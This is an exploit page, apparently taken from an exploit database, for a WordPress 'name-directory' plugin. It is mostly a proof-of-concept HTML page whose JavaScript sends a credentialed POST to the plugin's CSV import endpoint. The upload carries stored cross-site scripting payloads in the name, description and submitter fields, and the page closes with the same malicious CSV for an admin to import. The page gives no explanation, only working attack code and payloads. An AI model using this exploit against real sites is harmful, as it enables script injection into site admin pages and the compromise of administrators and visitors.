Share
## https://sploitus.com/exploit?id=WPEX-ID:D3653976-9E0A-4F2B-87F7-26B5E7A74B9D
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/example.com\/wp-admin\/admin.php?page=name-directory&sub=import&dir=11", true);
xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=---------------------------10045333971882101442027278436");
xhr.withCredentials = true;
var body = "-----------------------------10045333971882101442027278436\r\n" +
"Content-Disposition: form-data; name=\"import\"; filename=\"name-directory-import-example.csv\"\r\n" +
"Content-Type: text/csv\r\n" +
"\r\n" +
"\"name\",\"description\",\"submitter\"\n" +
"\'\"\x3e\x3cscript\x3ealert(/XSS-name/)\x3c/script\x3e\',\'\"\x3e\x3cscript\x3ealert(/XSS-desc/)\x3c/script\x3e\',\'\"\x3e\x3cscript\x3ealert(/XSS-sub/)\x3c/script\x3e\'\n" +
"\r\n" +
"-----------------------------10045333971882101442027278436\r\n" +
"Content-Disposition: form-data; name=\"action\"\r\n" +
"\r\n" +
"save\r\n" +
"-----------------------------10045333971882101442027278436\r\n" +
"Content-Disposition: form-data; name=\"max_file_size\"\r\n" +
"\r\n" +
"16777216\r\n" +
"-----------------------------10045333971882101442027278436\r\n" +
"Content-Disposition: form-data; name=\"submit\"\r\n" +
"\r\n" +
"Upload file and import\r\n" +
"-----------------------------10045333971882101442027278436--\r\n";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
As admin, Import the following CSV
"name","description","submitter"
'"><script>alert(/XSS-name/)</script>','"><script>alert(/XSS-desc/)</script>','"><script>alert(/XSS-sub/)</script>'